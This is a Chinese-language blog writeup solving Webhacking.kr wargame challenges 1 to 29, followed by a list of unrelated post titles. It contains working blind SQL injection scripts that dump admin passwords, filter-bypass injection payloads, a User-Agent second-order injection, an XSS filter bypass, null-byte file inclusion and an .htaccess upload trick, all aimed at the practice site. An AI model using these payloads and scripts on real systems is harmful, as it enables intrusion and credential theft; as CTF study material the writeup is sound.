Webhacking.kr writeup

先附上题目的链接

http://webhacking.kr

challenge 1

第一个先看源码,

<a onclick=location.href='index.phps'>----- index.phps -----</a>

先有一个跳转,跟过去看看
又得到了一些源码,重点的如下:

<?$password="????";if(eregi("[^0-9,.]",$_COOKIE[user_lv])) $_COOKIE[user_lv]=1;if($_COOKIE[user_lv]>=6) $_COOKIE[user_lv]=1;if($_COOKIE[user_lv]>5) @solve();echo("<br>level : $_COOKIE[user_lv]");?>

这里很容易就看出把cookie中的user_lv随便一个5-6之间的小树就可以了,所以直接抓包修改就行了

challenge 2

好吧这道题。。半知半解加上猜测勉强算是做出来。
回到正题。
点进去是这个样子

然后开始找线索,注意,该页的源码里面发现了很关键的东西

这就是那条龙对应的连接,点一下就进到了登录admin的界面

试了试没法儿注入,然后还发现了这里有个关键的东西:

又是要密码,试了试也没有可以注入的迹象,然后整个人都好了,看了题解之后(韩文题解,只能看懂图,爽翻。。。)
说是首页这里有问题

首页时
间注释掉了,然后通过抓包

试试这里有没有问题,把这里改成如下:

time=1460468419 and 1=1

发现时间变成了

那么再试试

time=1460468419 or 1=0

所以这里是存在盲注的,那么就可以尝试爆一点东西出来,
由于无法判断是什么数据库,自然也不好直接爆,顶多爆一下库名之类没什么卵用的东西。这里主要是猜想刚才那个admin界面的表对应是admin表,然后猜解他的password字段,
对应的python代码也比较简单,贴一贴吧

import requests
import re
db_length=-1
db_name=""
url = 'http://webhacking.kr/challenge/web/web-02/index.php'
r=requests.session()
def doinject(param):header={"Cookie":"time="+param+";PHPSESSID=58ltk3o56jd4ug007chbiorne3"}result=r.get(url,headers=header)content=result.content#print contentif "09:00:01" in content:return 1return 0def get_admin_pass():global db_lengthglobal db_namefor i in xrange(100):param="1460468419 and if((select length(password) from admin)="+str(i)+",1,0)"if doinject(param):db_length=ibreakprint db_lengthfor i in xrange(1,db_length+1): start=48end=122while(start!=end):#print str(start)+" : "+str(end)if(end-start==1):param="1460468419 and if(ascii(substr((select password from admin),"+str(i)+",1))="+str(start)+",1,0)"if(doinject(param)):end=startelse:start=endelse:mid=(start+end)/2param="1460468419 and if(ascii(substr((select password from admin),"+str(i)+",1))>="+str(mid)+",1,0)"if(doinject(param)):start=midelse:end=middb_name+=chr(start)print db_nameprint db_name
get_admin_pass()

所以密码就是0nly_admin
那么用这个密码去登录admin页面,得到提示:

(尼玛啊,韩文提示你大爷的。。。。百度谷歌翻译一下把)
好歹告诉了一个什么密码还是什么的东西吧。试了试不是board处的密码。
好吧,到这里就怼不动了,看看题解,发现莫名其妙的脑洞第二个表名

已跪好吧!
有了第二个表名,又来猜密码,代码都不用变,直接把表名换成FreeB0aRd就可以了,真是烦,浪费我这么多时间,结果是个脑洞。

所以board处的密码就是7598522ae

输入之后出现个链接,给了个zip,__AdMiN__FiL2.zip,打开,是一个html文件

好吧,这个是有解压密码的,突然想到刚才在admin界面拿到的提示还没有用,那个密码@dM1n__nnanual,输入进去果然成功解压了!打开html文件
卧槽卧槽,终于出来了

所以flag就是这个了,HacKed_by_n0b0dY,好吧这道题我已经报警了,浪费了我整整快一天时间了。。。结果就尼玛脑洞过来的(好吧,可能是因为看不懂韩文,没有找到hint的位置吧)
然后去提交就行了。

challenge 3

打开就是这样一个网页

然后简单看看,只有右下角的5*5格子可以操作,看看源码也并没有什么有价值的东西
然后观察格子,最后猜测,就是每一行或每一列对应的就是我们应该画上的黑格子的数量,比如一个3,我们就要画三个连续的黑格子,比如111,我们就要画三个间隔的黑格子,所以试了试之后,如下:

出现一个输入框,先抓包看看,也没有什么异样,尝试注入,发现answer字段这里有注入的迹象

试了试之后,发现像是',or,#等等都被过滤了,最后成功的payload就是这个

||代替or,所以根据返回来看,答案就是new_sql_injection这个了

challenge 4

一看先是个base64解码,然后又是sha1解密,接着还是sha1解密
比较简单,最后答案就是test
不做赘述

challenge 5

这道题应该是比较简单的了,我觉得明明应该是对的但还是出不来,浪费了不少时间,这里先不写,回头再来补把。

challenge 6

看源码,一堆替换,第一部分php代码就是当我们没有设定cookie的时候它会自动生成,这部分不用管。重点是第二部分,

$decode_id=$_COOKIE[user];
$decode_pw=$_COOKIE[password];$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);$decode_pw=str_replace("!","1",$decode_pw);
$decode_pw=str_replace("@","2",$decode_pw);
$decode_pw=str_replace("$","3",$decode_pw);
$decode_pw=str_replace("^","4",$decode_pw);
$decode_pw=str_replace("&","5",$decode_pw);
$decode_pw=str_replace("*","6",$decode_pw);
$decode_pw=str_replace("(","7",$decode_pw);
$decode_pw=str_replace(")","8",$decode_pw);for($i=0;$i<20;$i++)
{$decode_id=base64_decode($decode_id);$decode_pw=base64_decode($decode_pw);
}echo("<font style=background:silver;color:black>&nbsp;&nbsp;HINT : base64&nbsp;&nbsp;</font><hr><a href=index.phps style=color:yellow;>index.phps</a><br><br>");
echo("ID : $decode_id<br>PW : $decode_pw<hr>");if($decode_id=="admin" && $decode_pw=="admin")
{@solve(6,100);
}

一开始的替换也没什么用,接着是base64解密20次,解密之后的值如果和admin相等的话,那么解决问题。
这个就比较简单了,我们把adminbase64加密20次不就完了么,如下:

import base64
a = "admin"
for i in xrange(20):a=base64.b64encode(a)
print a

然后把生成的一大串东西抓包替换掉原有cookie中的userpassword就行了。

challenge 7

这里源码在index.phps下面,我摘录了比较重要的部分

........
........
if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }
........
........
if($data[0]==2)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>");
@solve();
} 

这里的随机数没有必要去想办法绕过,只要找到绕过过滤的方法,多试几次,总用一次随机数能够和你的payload对上,
这里主要是注意下过滤了空格和2,其实有很多种替换方法,比如/**/,或是编码%0a,2的话就可以变成3-1,所以构造的payload如下:

http://webhacking.kr/challenge/web/web-07/index.php?val=0)%0aunion%0aselect%0a(3-1

然后多尝试几次就好了,或是写个简单的脚本:

#-+- coding:utf-8 -+-
import requests
url='http://webhacking.kr/challenge/web/web-07/index.php?val=0)%0aunion%0aselect%0a(3-1'
param={'Cookie':'PHPSESSID=iajr6agbpqaijt379p1ef14ip4'};
num=0;
while True:r=requests.get(url,headers=param)num+=1print numcontent = r.contentif 'nice try!' not in content:print contentbreak;

challenge 8

这道题的源代码也在index.phps下面,这里就是一个比较基础的二次注入。
这里我把重要的分析写在源码里面了,源码如下:

$agent=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];
$agent=trim($agent);
$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);
//这里各种匹配,但是关键的单引号是可以使用的
$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";
$agent=strtolower($agent);
if(preg_match($pat,$agent)) exit("Access Denied!");//这里又重新获取了一次user-agent,然后把单引号和双引号都怼掉了,不能用了,所以这里没办法注入了
$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);
$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }
//没办法直接注入的,因为单引号到此为止已经被匹配掉了
$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");
$ck=@mysql_fetch_array($q);
if($ck)
{
echo("hi <b>$ck[0]</b><p>");
if($ck[0]=="admin"){
@solve();
@mysql_query("delete from lv0");
}}
//注入点在这里,变量$agent是可以有单引号的,而且是我们可以控制的。所以我们可以先把admin账户插入进去,然后在访问admin就行了
if(!$ck)
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo("<br><br>done!  ($count_ck[0]/70)");
}
?>

所以第一次我们先截包把user-agent改成如下:

admin','1','admin')#

这样子执行下来,就成功把这行记录插入到了lv0表中去了。
然后我们再截一次包,直接把user-agent改成admin就成功了。
两次截图如下:

challenge 9

这里一点开是个这样子的东西,截了个包发现是这么个情况,

典型的Basic Authorization验证的,这里怎么输入密码都没有,几次尝试之后应该是不存在注入的,然后脑动一下换一个请求方式,

改成POST也不行,改成PUT一下子就进去了。
应该是这个网站限定了不能使用GET和POST,那么我们再burpsuite里设定一下,将所有包的GET请求都替换成PUT,

这里不懂的可以看一下我之前的介绍burpsuite的博客
http://blog.csdn.net/qq_19876131/article/details/50792020

然后知道当

no=1的时候回显的是apple
no=2的时候回显的是banana
np=3的时候是未知的,并给了提示

那么我们得想办法爆出no=3的时候的id是啥。

进过多次尝试之后,发现很多都被过滤掉了,最后试出的payload如下:

if(substr(id,1,1)in(0x41),3,0)

然后写了个脚本爆破一下id,如下:

import requests
url = "http://webhacking.kr/challenge/web/web-09/"
r=requests.session()
pw=""def doinject(param):headers = {"Cookie" : "PHPSESSID=brbg4rmf75uvj2gv4ff3n090i2"}payload="no="+paramresult=r.put(url,params=payload,headers=headers)content=result.content#print contentif "Secret" in content:return 1return 0for x in xrange(1,12):for y in xrange(32,127):param="if(substr(id,"+str(x)+",1)in("+hex(y)+"),3,0)"if doinject(param)>0:pw += chr(y)print pwbreak
print pw    

得到如下:

然后试了试,没有成功,全部变成小写,成功了,所以最后的密码就是
alsrkswhaql

challenge 10

这道题源代码如下:

<html>
<head>
<title>Challenge 10</title>
</head><body>
<hr style=height:100;background:brown;>
<table border=0 width=900 style=background:gray>
<tr><td>
<a id=hackme style="position:relative;left:0;top:0" onclick="this.style.posLeft+=1;if(this.style.posLeft==800)this.href='?go='+this.style.posLeft" onmouseover=this.innerHTML='yOu' onmouseout=this.innerHTML='O'>O</a><br>
<font style="position:relative;left:800;top:0" color=gold>|<br>|<br>|<br>|<br>buy lotto</font>
</td></tr>
</table>
<hr style=height:100;background:brown;></body>
</html>

读懂js的意思,就是this.style.posLeft==800时访问http://webhacking.kr/challenge/codeing/code1.html?go=800,那我们直接访问,弹出no hack,那么这里抓个包没有发现什么异样,那就多半是Referer了,把Referer跟上,成功!

challenge 11

这里一开始看到正则如下:

$pat="/[1-3][a-f]{5}_.*218.29.102.122.*\tp\ta\ts\ts/";
if(preg_match($pat,$_GET[val])) { echo("Password is ????"); }

意思就是一个匹配,匹配到就成功了,
你找一个在线测试的网站试几次就行了,这也是比较基础的正则,最后结果如下:

1aaaaa_11218129110211221111 p   a   s   s

注意要URL编码一下,答案如下:

http://webhacking.kr/challenge/codeing/code2.html?val=1aaaaa_11218129110211221111%09p%09a%09s%09s

challenge 12

一道js解密的题,把源码直接全部复制到本地,然后将脚本中的eval改成document.write,放到浏览器里源代码就出来了,然后格式化一下如下:

var enco = '';
var enco2 = 126;
var enco3 = 33;
var ck = document.URL.substr(document.URL.indexOf('='));
for (i = 1; i < 122; i++) {enco = enco + String.fromCharCode(i, 0);
}
function enco_(x) {return enco.charCodeAt(x);
}
if (ck == "=" + String.fromCharCode(enco_(240)) + String.fromCharCode(enco_(220)) + String.fromCharCode(enco_(232)) + String.fromCharCode(enco_(192)) + String.fromCharCode(enco_(226)) + String.fromCharCode(enco_(200)) + String.fromCharCode(enco_(204)) + String.fromCharCode(enco_(222 - 2)) + String.fromCharCode(enco_(198)) + "~~~~~~" + String.fromCharCode(enco2) + String.fromCharCode(enco3)) {alert("Password is " + ck.replace("=", ""));
}

这里直接alert一下这一就出来了

String.fromCharCode(enco_(240)) + String.fromCharCode(enco_(220)) + String.fromCharCode(enco_(232)) + String.fromCharCode(enco_(192)) + String.fromCharCode(enco_(226)) + String.fromCharCode(enco_(200)) + String.fromCharCode(enco_(204)) + String.fromCharCode(enco_(222 - 2)) + String.fromCharCode(enco_(198)) + "~~~~~~" + String.fromCharCode(enco2) + String.fromCharCode(enco3)

所以得到答案就是youaregod~~~~~~~!
去首页提交一下就好了。

challenge 13

一道很直接的SQL注入题,有个hint是select flag from prob13password
简单尝试了一下,发现可以用bool盲注,输入1的时候如下:

而别的输入要么无反应,要么返回0。
这里试了一会儿,发现很多很多都被过滤了,不过select可以用的,然后像是union、and、|、&、空格、=,都被过滤了。空格这里只能用%0a代替,连/**/都被过滤了。
但是还有两个盲注很关键的东西没有过滤,if和substr,然后试到这里我们可以想到构造如下payload

0%0aor%0aif(substr((select%0aflag%0afrom%0aprob13password),1,1)in("0x41"),1,0)

发现并没有回显,然后多次更改来回尝试之后,发现是flag字段的问题,比如我们尝试这样子的语句

0%0aor%0aif(substr((select%0aflag%0afrom%0aprob13password),1,1)in("0x41"),1,1)

也就是说if语句永远返回1,但是最后还是没有回显,说明问题出在flag字段上,当我们换成这样子

0%0aor%0aif(substr((select%0acount(flag)%0afrom%0aprob13password),1,1)in("0x41"),1,1)

于是有了回显,然后我们就意识到那个flag字段不能单独用,那就想想SQL有哪些聚合函数,最后折腾之后,想到了MAX()和MIN()函数,然后可以用substr(min(flag),1,1)代替原有的单独flag字段绕开过滤,这样子我们就一个个爆出了min(flag)的值(注意,这里MAX(flag)的值经过爆破得到是FLAG,不是最后答案)
然后写个脚本,由于是顺序猜解,速度比较慢,代码如下:

import requests
url = "http://webhacking.kr/challenge/web/web-10/"
r=requests.session()
pw=""def doinject(param):headers = {"Cookie" : "PHPSESSID=brbg4rmf75uvj2gv4ff3n090i2"}payload="no="+paramresult=r.get(url,params=payload,headers=headers)content=result.content#print contentif "<tr><td>1</td></tr>" in content:return 1return 0for x in xrange(1,25):for y in xrange(32,127):param="0%0aor%0aif(substr((select%0asubstr(min(flag),"+str(x)+",1)%0afrom%0aprob13password),1,1)in("+hex(y)+"),1,0)"#print str(x)+" : "+hex(y)if doinject(param)>0:pw += chr(y)print pwbreak
print pw

结果如下图

所以最后的答案就是challenge13luckclear

challenge 14

源代码如下:

function ck()
{var ul=document.URL;
ul=ul.indexOf(".kr");
ul=ul*30;
if(ul==pw.input_pwd.value) { alert("Password is "+ul*pw.input_pwd.value); }
else { alert("Wrong"); }
}

这里直接放到firebug里面调试下就知道了,如下图:

得到值是510,所以输入510就是最后答案了,随后得到如下:

所以最后的答案就是260100,首页提交即可

challenge 15

这里再弹窗回跳的时候,答案就出来了的,随便拦截一下包就看到了

首页提交即可

challenge 16

这道题也是比较简单的js题,代码如下:

<html>
<head>
<title>Challenge 16</title>
<body bgcolor=black onload=kk(1,1) onkeypress=mv(event.keyCode)>
<font color=silver id=c></font>
<font color=yellow size=100 style=position:relative id=star>*</font>
<script>
document.body.innerHTML+="<font color=yellow id=aa style=position:relative;left:0;top:0>*</font>";function mv(cd)
{kk(star.style.posLeft-50,star.style.posTop-50);
if(cd==100) star.style.posLeft=star.style.posLeft+50;
if(cd==97) star.style.posLeft=star.style.posLeft-50;
if(cd==119) star.style.posTop=star.style.posTop-50;
if(cd==115) star.style.posTop=star.style.posTop+50;
if(cd==124) location.href=String.fromCharCode(cd);
}function kk(x,y)
{rndc=Math.floor(Math.random()*9000000);
document.body.innerHTML+="<font color=#"+rndc+" id=aa style=position:relative;left:"+x+";top:"+y+" onmouseover=this.innerHTML=''>*</font>";
}</script>
</body>
</html>

看到就是mv函数最后当cd==124的时候大概就是我们需要的东西,所以直接构造就行了,在firebug加个事件就行了,把他的这个

onkeypress=mv(event.keyCode)改成onmouseover=mv(124),鼠标挪过去,就得到了如下:

直接去首页提交就行了。

challenge 17

直接放在firebug的console下运行即可,如下得到unlock的值,

然后的得到unlock的值,填入得到答案为999780930.7,首页提交即可

challenge 18

这道题给出了源码,如下:

<?
if($_GET[no])
{
if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack");
$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]"));
if($q[0]=="guest") echo ("hi guest");
if($q[0]=="admin")
{
@solve();
echo ("hi admin!");
}
}
?> 

有一个简单的过滤,像是or这种关键的词没有过滤就很好办了,payload如下:

1%0aor%0a1%0alimit%0a1,1

让where永真,然后通过limit语句控制选中admin即可

challenge 19

这道题出的有的莫名其妙的,只是简单的试了试,虽然不知道原因,不过就做出来了。
在尝试的时候先是截包,然后修改admin',发现不行,接着是admin%27也不行,然后又试了试admin%2527,发现打印了admin27,那么就意味着中间的%25被河蟹了,那么说我直接输入admin%25也应该可以的吧。然后果然就成功了,这就是说答案也可以是admin%,后来想了想,可能是通配符的缘故,然后果断试了试admin*果然也成功了。这道题就先这样了吧。

challenge 20

好吧这道题。。。。。
时限是2s,然后应该就是简单的输入两个几个值,关键就是怎么2s交上去,然后又说了不是编程,提示是JS,那么就在firebug的console里面搞就行了,如下:

lv5frm.id.value='123';
lv5frm.cmt.value='123';
lv5frm.hack.value=lv5frm.attackme.value;
lv5frm.submit();


多刷新几次就成功了!

challenge 21

做完之后没有保存,懒得再写了。

challenge 22

这道题一来是直接可以盲注的,一个id字段。另一个也很好猜,就是pw字段。
它在login界面有两种回显,一种是

另一种就是这个

依靠这个我们可以开始盲注,贴一下脚本吧:

import requests
url = "http://webhacking.kr/challenge/bonus/bonus-2/index.php"
r=requests.session()
pw=""def doinject(param):headers = {"Cookie" : "PHPSESSID=pcpmvjp3vc020q2ebsd7p6mkc6"}payload={"id":param}#print payloadresult=r.post(url,data=payload,headers=headers)content=result.content#print contentif "Wrong password!" in content:return 1return 0for x in xrange(1,33):for y in xrange(32,127):param="admin' and if(substr(pw,"+str(x)+",1)='"+chr(y)+"',1,0)#"#print param#print str(x)+" : "+chr(y)if doinject(param)>0:pw += chr(y)print pwbreak
print pw

运行结果如下:

所以admin的密码的md5就是2a93a7cea083c6e9e02c97ec5a5d715a,去解码下得到原文是rainbowzombie
提交答案但是不对,那么问题来了。。
确实,join页面我们还没有使用过。。
我们先随便join一个账户名和密码都是1的,成功之后去登录

得到了密码的hash,解码之后的值是1zombie,很容易意识到网页在MD5进行hash的时候是加了salt的,这样子,刚刚盲注得到的rainbowzombie中真正的密码就是rainbow

challenge 23 (XSS)

一直不怎么会XSS,这道题也是比较奇怪,一旦<后面匹配到sc、in、on什么的直接报no hack,想到用%00截断一下,结果直接就过了

<s%00cript>alert(1);</script> 

challenge 24

根据提示进入index.phps看到源码,这里就不贴了,它会从cookie里面获取名为REMOTE_ADDR的值,然后关机的过滤如下:


if($_COOKIE[REMOTE_ADDR])
{
$ip=str_replace("12","",$ip);
$ip=str_replace("7.","",$ip);
$ip=str_replace("0.","",$ip);
}

根据上面的代码,构造一个

REMOTE_ADDR=112277..00..00..1

既可以绕过了。
然后截包在cookie里面添加上REMOTE_ADDR=112277..00..00..1就可以了。

challenge 25

好吧这道题真是奇怪。。哔了狗了。。这道题一进去看到连接file=hello,知道肯定是hello.txt的内容,然后直接试试index.php%00,发现还是看到显示hello world,我还以为%00截断不行。。最后还是就是直接的password.php%00,它的坑点就在于那个该死的index.php里面的内容和hello.txt一样都是hello world。坑了我半天,擦。

Challenge 25 password is ~~nullbye2~~

答案是

~~nullbye2~~

challenge 26

题目越来越简单的感觉,看源码如下:

if(eregi("admin",$_GET[id])) { echo("<p>no!"); exit(); }
$_GET[id]=urldecode($_GET[id]);
if($_GET[id]=="admin")
{@solve(26,100);
}

中间代码进行了一次url解码,那么我们直接对admin两次url编码就可以了,paylaod

http://webhacking.kr/challenge/web/web-11/index.php?id=%2561%2564%256D%2569%256E

challenge 27

同样在index.phps下面看到源代码

<?php
if($_GET[no])
{if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no]))     exit("no hack");$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");if($q[id]=="guest") echo("guest");if($q[id]=="admin") @solve();
}
?>

看到unionselect都被过滤了,那么就多半不是union查询了,然后看看mysql_fetch_array,知道它是去除结果集中的一条记录,那么就想到了把中所有内容选出来排序,这样在执行mysql_fetch_array函数的时候,就能把admin那条记录取走。
payload如下:

http://webhacking.kr/challenge/web/web-12/index.php?no=-1) or 1 order by id asc--+

challenge 28

一开始,先访问下upload/index.php,看到一个read me,然后看到最开始的提示,

pw的值在index.php里面看到,然后随便上传一个文件

看到这样的提示,提示.htaccess,然后就知道应该是把upload目录下的php禁用掉,这样子我们就能够下载下来upload/index.php,就能够拿到pw了,所以我们创建一个.htaccess,内容就是

php_flag engine off

上传上去,然后就成功了。

challenge 29

这道题提示是个注入什么的,还是先随便上传个文件,发现成功之后会把time,ip,file存入数据库什么的,然后从中选入,应该是一个update,注入点多半就在filename这里,那么我们预估一下这个表就是3个字段,试了很多次之后,发现它的插入顺序是“file,time,ip”,这里用Burpsuite就可以抓包看到filename然后开始注入,而且还要注意的是,ip一定要和你自己ip一样,就是随便上传一个文件就能看到自己的ip,由于过滤了.,所以需要用到数据库的CHAR()函数,如下图:

最后试出来的payload是这个:

2',(select password from c29_tb),CHAR(50, 49, 56, 46, 50, 57, 46, 49, 48, 50, 46, 49, 48, 50))#

Webhacking.kr writeup(更新至challenge 29)相关推荐

  1. selenium之 webdriver与三大浏览器版本映射表(更新至v2.29)

    转载:https://www.cnblogs.com/testervic/p/6705159.html 1.chrome浏览器 看到网上基本没有最新的chromedriver与chrome的对应关系表 ...

  2. 【更新于12.29】深度学习论文汇总

    本博客用于记录自己平时收集的一些不错的深度学习论文,近9成的文章都是引用量3位数以上的论文,剩下少部分来自个人喜好,本博客将伴随着我的研究生涯长期更新,如有错误或者推荐文章烦请私信. 深度学习书籍和入 ...

  3. wargame.kr WriteUp

    前面耽搁了一周半,一周半没碰电脑,真是爆炸,回来做做题练练手.做了几道wargame.kr的题,做了几道就不想做了,感觉还是偏基础了,意义不很大,但是博客还是要发的啊.. 这里就只有前面估计十来道的w ...

  4. 我常去的编程技术网站[最近更新:2010.09.29]

    [序言]  其实大家都可以成为一个厉害的软件开发人员,希望大家通过了解我提供的这些网站找到自己的兴趣爱好,以增强自己的信心. [建议]  为了能让更多的朋友看到此链接,如果大家是csdn用户,那么请选 ...

  5. 【Unity】如何删除不要的Tile Palette(瓦片地图)(遇到新的问题就继续更新2021.4.29)

    [Unity]解决Tilemap碰撞常见问题 写在前面的话 前置条件(阅读以下内容需要掌握的知识) 如何删除Tile Palette 不理解 写在前面的话 咱也不喜欢废话,图片和方法我都会特别标注出来 ...

  6. Webhacking writeup By Assassin [随便玩一玩]

    果真是webhacking,申请账号都这么有逼格^_^用burp抓包发现源码访问如下 还有什么decode me需要三次解码base64即可得到一个ip值即可,然后就可以开始我们的挑战啦! 第一关 上 ...

  7. OI 刷题记录——每周更新

    每周日更新 2016.05.29 UVa中国麻将(Chinese Mahjong,Uva 11210) UVa新汉诺塔问题(A Different Task,Uva 10795) NOIP2012同余 ...

  8. 【造轮子/更新】打造一个简单的万能Excel读写工具

    ExcelReads(简单Excel通用读写器) ExcelReads是什么? https://github.com/MatrixSeven/ExcelReads 这是一个通用的简单的Excel读取器 ...

  9. 简易压力容器CE认证指令2014/29 / EU取代87/404 / EEC

    环测威提醒您:新的SPV指令( 2014/29 / EU)已于2016年4月20日发布并生效,以取代指令87/404 / EEC. 1.简单的压力容器旨在包含表压大于0.5巴但小于或等于30巴的空气或 ...

  10. IE错误 Java TM 已被阻止,因为它已过时并且需要更新 的解决方法

    自今年9月 10日,大量用户反馈,登陆到Oracle E-Business Suite后再点Form,IE 弹出"Java(TM)已被阻止,因为它已过时并且需要更新. "的错误,这 ...

最新文章

  1. ios 图片自动轮播
  2. 谷歌三驾马车将成历史,创始人退位,皮查伊兼任母公司CEO
  3. SLAM:(编译ORB)fatal error LNK1181: 无法打开输入文件“libboost_mpi-vc110-mt-1_57.lib”
  4. msp430入门编程42
  5. CodeForces 516E Drazil and His Happy Friends(数学+最短路)
  6. 你所不知道的 JavaScript
  7. 漫步微积分三十六——曲面的面积
  8. ExtJs之工具栏及菜单栏
  9. tomcat依赖导入步骤_将tomcat源码导入eclipse
  10. SpringBoot2.0.0启动流程
  11. Rust: (作者 洛佳) 使用Rust编写操作系统(附录一):链接器参数
  12. DDOS攻击如何防御
  13. python subprocess.Popen 监控控制台输出
  14. SQL-Server笔记
  15. 使用Google Colab对PUBG的玩家死亡数据集进行可视化分析
  16. 禅道类似软件_六大Jira项目管理软件替代品
  17. 力扣刷题day32|738单调递增的数字、714买卖股票的最佳时机含手续费、968监控二叉树
  18. SRGAN超分辨率网络
  19. 视觉导航定位系统工作原理及过程
  20. 如何进行电脑远程桌面连接

热门文章

  1. 微信群机器人管理系统源码+支持同登陆多号
  2. 生活之游戏中的心理学
  3. python用于pmc排产可以吗_有没有免费的PMC生产排程软件啊?
  4. 办理美国商务和旅游签证(B1 B2)和面签的奥秘
  5. 火狐浏览器不能看网页视频了的解决方法
  6. 关于Ubuntu下firefox无法观看视频的解决
  7. PyQt5 QTreeView树图
  8. Visio2019异步消息箭头线使用问题
  9. Vue富文本编辑器(iceEditor)集成
  10. 从网络启动恢复RG750Gr3